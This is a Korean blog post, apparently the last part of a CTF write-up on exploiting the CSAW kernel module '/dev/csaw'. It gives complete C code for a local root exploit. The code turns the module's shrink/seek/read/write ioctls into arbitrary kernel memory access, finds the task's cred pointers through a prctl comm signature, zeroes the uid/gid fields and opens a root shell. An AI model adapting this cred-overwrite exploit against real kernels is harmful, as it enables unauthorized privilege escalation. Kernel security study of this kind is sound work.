이 comm 배열을 가지고 real_cred, cred 위치를 알아낼 수 있습니다!


작성한 test.c 소스 내용

#include <stdio.h>
#include <sys/prctl.h>

int main()
{
	char a[20];

	prctl(PR_SET_NAME, "hipuing");

	scanf("%d",a);

	return 0;
}


간단하게 작성한 test 파일을 실행하고 프로세스 이름을 확인해보면, hipuing 으로 되어있는 것을 확인할 수 있습니다.




그런데 이 comm 가지고 real_cred, cred 위치를 어떻게 알아낼 수 있을까요?

간단합니다 ㅎㅎ 프로세스 이름을 바꾸고, 메모리에서 해당 프로세스 이름을 찾으면 됩니다! 그 이유는 프로세스 이름이 담겨있는 comm 배열 바로 전과 그 전이 real_cred, cred 변수들의 위치기 때문입니다! 우리는 메모리에서 프로세스 이름을 찾아 comm 주소만 알아내면 됩니다!


우리는 leak 이 가능하기 때문에 원하는 메모리 주소를 맘껏 읽을 수 있죠? 그럼 프로세스 이름을 찾는 것은 어렵지 않게 할 수 있습니다. 그리고 leak 을 통해 comm 주소를 알아낸 후, 이 주소를 기준으로 real_cred, cred 위치를 알아내어 cred 구조체에 접근하여 uid, gid 변수들을 0으로 써주면 됩니다!


정리를 해보자면!


  1. 해당 프로세스 이름을 임의의 값으로 바꾼다
  2. CSAW_SHRINK_CHANNEL 를 사용해서 realloc_ipc_channel 함수를 호출하여 data는 16,
    new_size 는 -1(0xffffffff) 으로 설정
  3. CSAW_SEEK_CHANNEL 를 사용해서 index 값을 원하는 주소(leak 하려는 주소)로 설정
  4. CSAW_READ_CHANNEL 를 사용해서 읽고자 하는 메모리 leak!
  5. leak 한 메모리 영역에서 comm 주소 찾기(프로세스 이름 찾기)
  6. comm 주소에서 real_cred, cred (둘 중 하나) 위치 찾기
  7. CSAW_SEEK_CHANNEL 를 사용해서 index 값을 원하는 주소(real_cred, cred 주소)로 설정
  8. CSAW_WRITE_CHANNEL 를 사용해서 cred 구조체uid, gid 변수를 0으로 쓰기!


간단..하죠?ㅎㅎㅎㅎ




익스플로잇 코드를 작성 해 보자!


먼저 CSAW_SHRINK_CHANNELCSAW_SEEK_CHENNEL 을 사용해서 channel->data + *pos 가 임의의 주소로 바뀌는지 확인해봅시다.


작성한 leak.c 소스 내용

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

int main(int argc, char **argv)
{
	int fd, id, ret;
	char *buf2;
	struct alloc_channel_args alloc_channel;
	struct write_channel_args write_channel;
	struct read_channel_args read_channel;
	struct seek_channel_args seek_channel;
	struct shrink_channel_args shrink_channel;

	fd = open("/dev/csaw", O_RDONLY);
	memset(&alloc_channel, 0, sizeof(alloc_channel));
	alloc_channel.buf_size = 1;

	ret = ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);

	id = alloc_channel.id;

	printf("id : %d\n", id);
	
	memset(&shrink_channel, 0, sizeof(shrink_channel));
	shrink_channel.id = id;
	shrink_channel.size = 2;

	ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);

	memset(&seek_channel, 0, sizeof(seek_channel));

	seek_channel.id = id;
	seek_channel.index = 0x41414141-16;
	seek_channel.whence = SEEK_SET;

	ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);


	memset(&write_channel, 0, sizeof(write_channel));
	buf2 = malloc(20);

	write_channel.id = id;
	write_channel.buf = buf2;
	write_channel.count = 13;

	ret = ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);

	printf("buf : %s\n", buf2);

	return 0;
}


위 내용대로라면 realloc_ipc_channel 함수를 통해서 channel->data 는 16, pos(channel->index) 는 0x41414141-16 이 들어가게 될 것입니다.


모듈 소스에서 printk 문을 추가한 부분은 아래와 같습니다.


printk문 추가

static ssize_t write_ipc_channel ( struct ipc_state *state, const char __user *buf, size_t count )
{
    struct ipc_channel *channel;
    loff_t *pos;

    if ( ! state->channel ){
        printk(KERN_INFO "state->channel\n");
        return -ENXIO;
    }

    channel = state->channel;
    pos = &channel->index;
    printk(KERN_INFO "index in write ipc channel : %x\n", channel->index);
    printk(KERN_INFO "channel->data : %d\n", channel->data);

    return count;
}

0x41414141 은 유효한 메모리 주소가 아니기 때문에 이 곳으로 읽기,쓰기 작업이 일어나면 커널 패닉이 일어나서 printk 함수로 각 변수들을 출력하는 것 까지만 하고, 그 이후 내용은 임시로 생략하였습니다.


실행해보면, 예상한대로 결과가 나옵니다!



예상한 결과대로 나와준다!

자, 이제 우리는 원하는 주소에 읽고 쓰기가 가능한 것을 확인했으니, comm 배열을 이용하여 cred 구조체 주소를 찾고 0으로 써주기만 하면 됩니다.

위에 써놓은 익스 과정을 담아 실행하면 루트 권한의 쉘이 따지는 것을 확인할 수 있습니다.


exploit.c 소스 내용

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

#define PAGE_SIZE getpagesize()
#define PAGE_OFFSET 0xffff880000000000
#define BUF_SIZE PAGE_SIZE

#define TASK_COMM_LEN 16

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct grow_channel_args {
    int id;
    size_t size;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

void error ( char *msg )
{
    perror(msg);
    exit(EXIT_FAILURE);
}

void hexdump ( char *addr, unsigned int length )
{
    unsigned int i, j;

    for ( i = 0; i < length / 16; i++ )
    {
        for ( j = 0; j < 16; j++ )
        {
            printf("%02hhx ", addr[i * 16 + j]);
        }
        printf("\n");
    }
}

int read_kernel_memory ( int fd, int id, unsigned long kaddr, void *buf, unsigned int size )
{
    int ret;
    struct seek_channel_args seek_channel;
    struct read_channel_args read_channel;

    memset(&seek_channel, 0, sizeof(seek_channel));
    seek_channel.id = id;
    seek_channel.index = kaddr - 0x10;
    seek_channel.whence = SEEK_SET;

    ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

    memset(&read_channel, 0, sizeof(read_channel));
    read_channel.id = id;
    read_channel.buf = buf;
    read_channel.count = size;

    ret = ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

    return ret;
}

int write_kernel_null_byte ( int fd, int id, unsigned long kaddr )
{
    int ret;
    char null_byte = 0;
    struct seek_channel_args seek_channel;
    struct write_channel_args write_channel;

    /*
     * The write primitive uses strncpy_from_user(), so we can't write full
     * dwords containing a null terminator. The exploit only needs to write
     * zeroes anyhow, so this function just passes a single null byte.
     */

    memset(&seek_channel, 0, sizeof(seek_channel));
    seek_channel.id = id;
    seek_channel.index = kaddr - 0x10;
    seek_channel.whence = SEEK_SET;

    ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

    memset(&write_channel, 0, sizeof(write_channel));
    write_channel.id = id;
    write_channel.buf = &null_byte;
    write_channel.count = sizeof(null_byte);

    ret = ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);

    return ret;
}

void escalate_creds ( int fd, int id, unsigned long cred_kaddr )
{
    unsigned int i;
    unsigned long tmp_kaddr;

    /*
     * The cred struct looks like:
     *
     *     atomic_t    usage;
     *     kuid_t      uid;
     *     kgid_t      gid;
     *     kuid_t      suid;
     *     kgid_t      sgid;
     *     kuid_t      euid;
     *     kgid_t      egid;
     *     kuid_t      fsuid;
     *     kgid_t      fsgid;
     *
     * where each field is a 32-bit dword.  Skip the first field and write
     * zeroes over the id fields to escalate to root.
     */

    /* Skip usage field */

    tmp_kaddr = cred_kaddr + sizeof(int);

    /* Now overwrite the id fields */

    for ( i = 0; i < (sizeof(int) * 8); i++ )
        write_kernel_null_byte(fd, id, tmp_kaddr + i);
}

void gen_rand_str ( char *str, unsigned int len )
{
    unsigned int i;

    for ( i = 0; i < (len - 1); i++ )
        str[i] = (rand() % (0x7e - 0x20)) + 0x20;

    str[len - 1] = 0;
}

int main ( int argc, char **argv )
{
    int ret, fd, id;
    unsigned long offset;
    char *addr, *ceiling;
    struct alloc_channel_args alloc_channel;
    struct shrink_channel_args shrink_channel;
    char comm[TASK_COMM_LEN];

    /* Set comm to random signature */

    srand(time(NULL));

    gen_rand_str(comm, sizeof(comm));

    printf("Generated comm signature: '%s'\n", comm);

    ret = prctl(PR_SET_NAME, comm);
    if ( ret < 0 )
        error("prctl");

    /* Open device */

    fd = open("/dev/csaw", O_RDONLY);
    if ( fd < 0 )
        error("open");

    /* Allocate IPC channel */

    memset(&alloc_channel, 0, sizeof(alloc_channel));
    alloc_channel.buf_size = 1;

    ret = ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);
    if ( ret < 0 )
        error("ioctl");

    id = alloc_channel.id;

    printf("Allocated channel id %d\n", id);

    /* Shrink channel to -1 */

    memset(&shrink_channel, 0, sizeof(shrink_channel));
    shrink_channel.id = id;
    shrink_channel.size = 2;

    ret = ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_channel);
    if ( ret < 0 )
        error("ioctl");

    printf("Shrank channel to -1 bytes\n");

    /* Map buffer for leaking kernel memory to */

    addr = (char *)mmap(NULL, BUF_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
    if ( addr == MAP_FAILED )
        error("mmap");

    ceiling = addr + BUF_SIZE;

    printf("Mapped buffer %p:0x%x\n", addr, BUF_SIZE);

    printf("Scanning kernel memory for comm signature...\n");

    /*
     * We escalate to root by modifying our cred struct in memory.  We first
     * find it by leaking kernel memory one chunk at a time and applying a
     * simple heuristic.
     *
     * Pointers to our creds reside next to the user-controllable comm field in
     * task_struct:
     *
     *     const struct cred __rcu *real_cred;
     *     const struct cred __rcu *cred;
     *     char comm[TASK_COMM_LEN];
     *
     * Scan memory for our unique comm string, then verify that the two prior
     * qwords look like kernel pointers.
     */

    offset = 0;

    while ( 1 )
    {
        unsigned long kernel_addr = PAGE_OFFSET + offset;
        unsigned long *search;

        /* If kernel_addr wraps, we failed to find the comm signature */

        if ( kernel_addr < PAGE_OFFSET )
        {
            printf("Failed to find comm signature in memory!\n");
            exit(EXIT_FAILURE);
        }

        /* Leak one chunk of kernel memory to userland */

        ret = read_kernel_memory(fd, id, kernel_addr, addr, BUF_SIZE);
        if ( ret < 0 )
        {
            offset += BUF_SIZE;
            continue;
        }

        /* Scan for the comm signature in chunk */

        search = (unsigned long *)addr;

        while ( (unsigned long)search < (unsigned long)ceiling )
        {
            search = memmem(search, (unsigned long)ceiling - (unsigned long)search, comm, sizeof(comm));

            if ( search == NULL )
                break;

            if ( (search[-2] > PAGE_OFFSET) && (search[-1] > PAGE_OFFSET ) )
            {
                unsigned long real_cred, cred;

                real_cred = search[-2];
                cred = search[-1];

                printf("Found comm signature at %p\n", (void *)(kernel_addr + ((char *)search - addr)));
                printf("read_cred = %p\n", (void *)real_cred);
                printf("cred = %p\n", (void *)cred);

                escalate_creds(fd, id, real_cred);

                if ( cred != real_cred )
                    escalate_creds(fd, id, cred);

                goto GOT_ROOT;
            }

            search = (unsigned long *)((char *)search + sizeof(comm));
        }

        offset += BUF_SIZE;
    }

GOT_ROOT:
    if ( getuid() != 0 )
    {
        printf("Attempted to escalate privileges, but failed to get root\n");
        exit(EXIT_FAILURE);
    }

    printf("Got root! Enjoy your shell...\n");

    execl("/bin/sh", "sh", NULL);

    return 0;
}


짜잔! 루트 권한을 획득하였습니다!!!!



루트 권한 획득!!

자, 어떠신가요? :)

커널공부를 CTF 챌린지로 해 보았는데, 이제 다음 단계로 넘어가야 할 때 인 것 같아요.
CTF 문제는 이 쯤 풀어 두고, 이제 실제 커널에서 발견된 취약점들을 공부 해 볼까 합니다.

조만간 조금 더 재미있는 콘텐츠로 찾아오겠습니다ㅎㅎ




REFERENCE

comments powered by Disqus